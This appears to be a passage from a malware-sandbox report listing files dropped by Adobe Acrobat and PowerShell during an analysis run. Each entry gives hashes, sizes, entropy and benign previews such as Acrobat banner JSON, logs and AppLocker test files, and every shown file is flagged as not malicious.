Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.321470524990721
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5dIEeGGRGonVoZcg1vRcR0YaYCoAvJfzdPeUkwRe9:YvXKX5mEegtZc0vAxGb8Ukee9
MD5:	B5CD7637174889351843C5F34EDDBE15
SHA1:	660C4A2A79F975E2A52D68A0736868538EC74ECB
SHA-256:	EC656D61DC0D4BA809E1E301FEA3CABD7CD149DED30D7E9109BAA4DBA4782242
SHA-512:	50146F034C4A9FF24BE29CD721449B52A8B4C6F81F7D0DAD1D2E936C311056D217B404E7CD4D3452058D3562E2F45D16D6CDDAE229487FEC0FB1594F34CB5CAC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302158009717462
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5dIEeGGRGonVoZcg1vRcR0YaYCoAvJfYdPeUkwRe9:YvXKX5mEegtZc0vAxGg8Ukee9
MD5:	64993396154A9A406470A723AE1EAEA1
SHA1:	E050AC4343EFBFFE2765C6CD7F6FE8F51D0B3328
SHA-256:	9578B8E459521C4FA0121B6D48332CB08634DFA07C47EF95EA5C0AF2D31B4167
SHA-512:	CB90843849D2D64920562BFC2E0133283879E3BA2CE6C457BC3398784FCB5B2E0489E7DB148369D2F32A55C3F63B160FE647D4135F7DC128626FD8D647DAC6AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.288827729289625
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5dIEeGGRGonVoZcg1vRcR0YaYCoAvJf+dPeUkwRe9:YvXKX5mEegtZc0vAxG28Ukee9
MD5:	FF592A7E39CB6ED0EE04441D0E8021D6
SHA1:	BB9BE8FD9348C9FA1BC42FB51BAF287E4214327B
SHA-256:	D7B8E921D5AF7E8C67F3113E0495D674FAB928826F9849FC683F9DB8C9AB8C29
SHA-512:	2CCC297840C8C5FBAAD907142833D27C78FA9962DB5366442305B8F5764265E5170E213D118A354291E3EA20EF86930CC77D484DDE5BF7C22FAEC9F509DDBE62
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.285690275709419
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5dIEeGGRGonVoZcg1vRcR0YaYCoAvJfbPtdPeUkwRe9:YvXKX5mEegtZc0vAxGDV8Ukee9
MD5:	F09B6B5E033DC437D29CCBBEC54CD277
SHA1:	3A869D663DA0A23D62D835D1109730776EFCD8FC
SHA-256:	A2555B51571E1E39F875228C4BEEB7748097F1ABA6A0CFC84545905323C9F2B0
SHA-512:	9E4C88C8123D5378A1C73FC96B8452092AD1C08D967DD99D6B2F3EC7340D9D92E4BBAB97302C78BBF29DCC406F2C9489E40BA1F6A0DA6D8777EDB095CFBA8049
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2903715984227935
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5dIEeGGRGonVoZcg1vRcR0YaYCoAvJf21rPeUkwRe9:YvXKX5mEegtZc0vAxG+16Ukee9
MD5:	68BEB3C0D6C863EDC163D02016D7995B
SHA1:	14BF2069F1590E72A835EB5C91E6FFD714E949C7
SHA-256:	515E95EAFDB4C9998F7940A5AECCAC3DF210323B5D5E1B6BA5226140A3C1EBB2
SHA-512:	99BD3ABBDAEC90A7213FB7BCE6463A340298AEDD1A693F8C8781D3A1228DE0FE4095FCBF4E6BAA2B09E84D0439143176A90EEFCC090DA368F8333272498FE1F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665342043046134
Encrypted:	false
SSDEEP:	24:Yv6XtTtzvpamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSX:YvON9BgkDMUJUAh8cvMX
MD5:	EE025C5C5AFA49E99F07112D88EC2F51
SHA1:	A73881B2BC43A70014A85BC41AE76B9EE6E3B899
SHA-256:	0D1EA7792CCC711BDA4DF1E50806C26EB6AFA13FB716FC853E1321EFE807612D
SHA-512:	236758DEFE3E9F39498603016980DD5844621E2D8F87F8ADD0DB0257B6B36B8EB8534897E51734B973F8A2FF79A342F62767AE8427554612689F15DAC0213243
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.267316644082783
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5dIEeGGRGonVoZcg1vRcR0YaYCoAvJfshHHrPeUkwRe9:YvXKX5mEegtZc0vAxGUUUkee9
MD5:	A8BACCF2E6ADF6A8DF49EE59FD47E017
SHA1:	2FC49C7F9EEDEDD2079470FC89010460F3B6D50B
SHA-256:	24460210145FF28E4C353B7F251840A0B21EDAD3A2ABB01E840A2CEB488F6DB8
SHA-512:	E6D467FE97D5BD780A707A8413B0E8F22123DD7D1E71411A8B06A0149C562EB89B7142B1D334BAF555C81D534ED8EA6371BFF6C3F1A653ECF2137EACC072E9CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2813768381546335
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5dIEeGGRGonVoZcg1vRcR0YaYCoAvJTqgFCrPeUkwRe9:YvXKX5mEegtZc0vAxGTq16Ukee9
MD5:	CB5C4F9B4EFF6BCEA0D00AC006B40481
SHA1:	DB12A1B23F3D8C8702F8328A5DC2C4370AD21062
SHA-256:	51936D7D4A6EB30FBD743EED63EB489B1E0F3C49D33E27F7065F547C65F9E79E
SHA-512:	4217165BFC0B086057A5A10DE3043922CEE7C9A1B9396B9DD33B84A84012F5106A3AE0AC4DCAD180154746810B976DEA28C08B1283BB360FE51F5B3AD593C395
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.12810678444488
Encrypted:	false
SSDEEP:	24:YuBFdasPy13ayBt80xCrtyozjppKj0SNXl2F2LSHC5b6GOscv2m5+9aTuIOG:YYy1N80oJPs3AJUrONvT89aP
MD5:	1E8B2C64F1131C963C6AEF5B191087D7
SHA1:	4977A833DC929D593F05F4E5C53A250B35506719
SHA-256:	8215EF01AEF55C65074F9EDE7837FD5378BD9BB64F73C8CDB41749C44C523EA4
SHA-512:	F8172DA4285133DD2A57355B8BCA9AA4A3CB1B126C214508BC6B3B2C7578C76467CF9682B508DD8955745CF9AAE0E358AC7377AA41F409A68876EDAE84B5FDD5
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"29c36e081d3c8dc9c8f35de30aba5696","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1734434838000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b4ece03a2adbcf0a1e66051e756fb86e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1734434838000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6d054b3e286b1bd723fd505eb4f70fef","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1734434838000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c8d7cddb374d3968f816a7a0cc101519","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1734434838000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d214e6102a9e172be6e5e364e7914f16","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1734434838000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"91d0033806510ead53c62b2383d24712","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1884513306031808
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUetESvR9H9vxFGiDIAEkGVvpStK:lNVmswUUUUUUUUR+FGSItV
MD5:	5243495E48ADE23FA876B77EB68C3B5B
SHA1:	2A70661EBEDAE44029B47630E077716C5EDB4CF3
SHA-256:	F2F362879FB3CC89A2CBC9F358E06BC98E6F825650225AF908201CC6FD3D74D1
SHA-512:	8F3529F69E3C40616A51EEE0FA828BF18150B7787F976CB3BC0C6E4F2839FF963041AB578C11AF9CBEEA05CA8B55F12B3194BCFA50F78230D2BC5CE7C33EB35A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6072602336149837
Encrypted:	false
SSDEEP:	48:7MigKUUUUUUUUUUetGvR9H9vxFGiDIAEkGVvsqFl2GL7msz:7FUUUUUUUUUU9FGSItaKVmsz
MD5:	A7A770179C0CAB62B9DF2663A48B3A2B
SHA1:	C1E296AF5A592C2BB705254282AF3072533C3079
SHA-256:	0FD8852CD31FD318812B148DF15BC484EECE6CB108DE077E4AA884AAFAD61C93
SHA-512:	541D77F662AF48088189761175B35671A230382C1EB899F062CE36B2A29188DB906AD8BE28CC3C5BB1C2F8268C83B447F150A65A9F247DBE21265C0CAFB48E1A
Malicious:	false
Preview:	.... .c......J:.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgGYwa+pOauFEO3eac25qGV+VmYyu:6a6TZ44ADEGYwDpOauFleNmK
MD5:	01E02148F660AC6BDD798C7BCB40D23A
SHA1:	412279CBE69E5509053047AF3340E973F28C0824
SHA-256:	7B4F50238215FA1FC2075D739A5300CC586078D6F1AD67075E6ED8A0A9994EAF
SHA-512:	3FD84B8AF2A3A1E624C3545E28ED0B616E8B8BA756DF53E99F682332B4725182E350C31758A0B1A0918BA9AE686393BB03D67176F422272CACF4DF4A760F90B0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul9kLZ:NllUG
MD5:	087D847469EB88D02E57100D76A2E8E4
SHA1:	A2B15CEC90C75870FDAE3FEFD9878DD172319474
SHA-256:	81EB9A97215EB41752F6F4189343E81A0D5D7332E1646A24750D2E08B4CAE013
SHA-512:	4682F4457C1136F84C10ACFE3BD114ACF3CCDECC1BDECC340A5A36624D93A4CB3D262B3A6DD3523C31E57C969F04903AB86BE3A2C6B07193BF08C00962B33727
Malicious:	false
Preview:	@...e.................................,..............@..........

C:\Users\user\AppData\Local\Temp\Form_Lamaran.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.4056390622295662
Encrypted:	false
SSDEEP:	3:Qx:Qx
MD5:	C7FF6B0760A3AC9958987957644F9F2B
SHA1:	372BC65A53815F8BA7013755E57F19C818B3995C
SHA-256:	D46D3C1E633BD00E63ABB863F8D0CE01127A4AEF5135D7A4ADD02E126CD4D912
SHA-512:	A7514B2FDAA9568840D7E53C28D1881DDC10AA0BEC8354635DA66B861C8A8FDEB1703B7AB70A7FE2BC5C932E1703E30A6E775B365021AE0D725C710CC27E850D
Malicious:	false
Preview:	..1.....

C:\Users\user\AppData\Local\Temp\MSI8fdca.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8AIBH:Qw946cPbiOxDlbYnuRKqB
MD5:	38C43EFB3C9C034D673A66472E764A9A
SHA1:	F5050596A66F478BEA917D04F7E49F0D56A0CF2F
SHA-256:	38F3DE8407CC2D794C6263E6B25434AA6E30A3BCBCC5518318E28DB184A98AE5
SHA-512:	0CD9DAEA797147384168621860D48CA8D4461296B6BD12ACCE687FA03E7A8BBF4714A6134BF3F5CC3411904F5DAD627AA86BB57F6BF8D04A3F5AC5CA058B8F2B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.7./.1.2./.2.0.2.4. . .0.6.:.2.7.:.1.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_343aw2se.ngy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_adjo1gom.hhh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nluc3lv0.vhc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wgj0ye5a.rxy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-17 06-27-07-662.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395292068914106
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2ro:E
MD5:	D826353135A213C44447074E1B6A4AAC
SHA1:	B812E461A3CFFB4F5807CE9BAB2FA7CE43933771
SHA-256:	8C7923DDA9F19E8E95C1FA03C4101E2BE471C6797F689D71B44448EA122FBEF1
SHA-512:	257E5805A7D967D9560FD41E0AD1792AD9EE6BBDA8ACB3BD9E96BFB8B20BBF01D80A48B3A213CFD03DFE553DEA77B5B71297DEE736803BD1D37F574F4FC0AF08
Malicious:	false
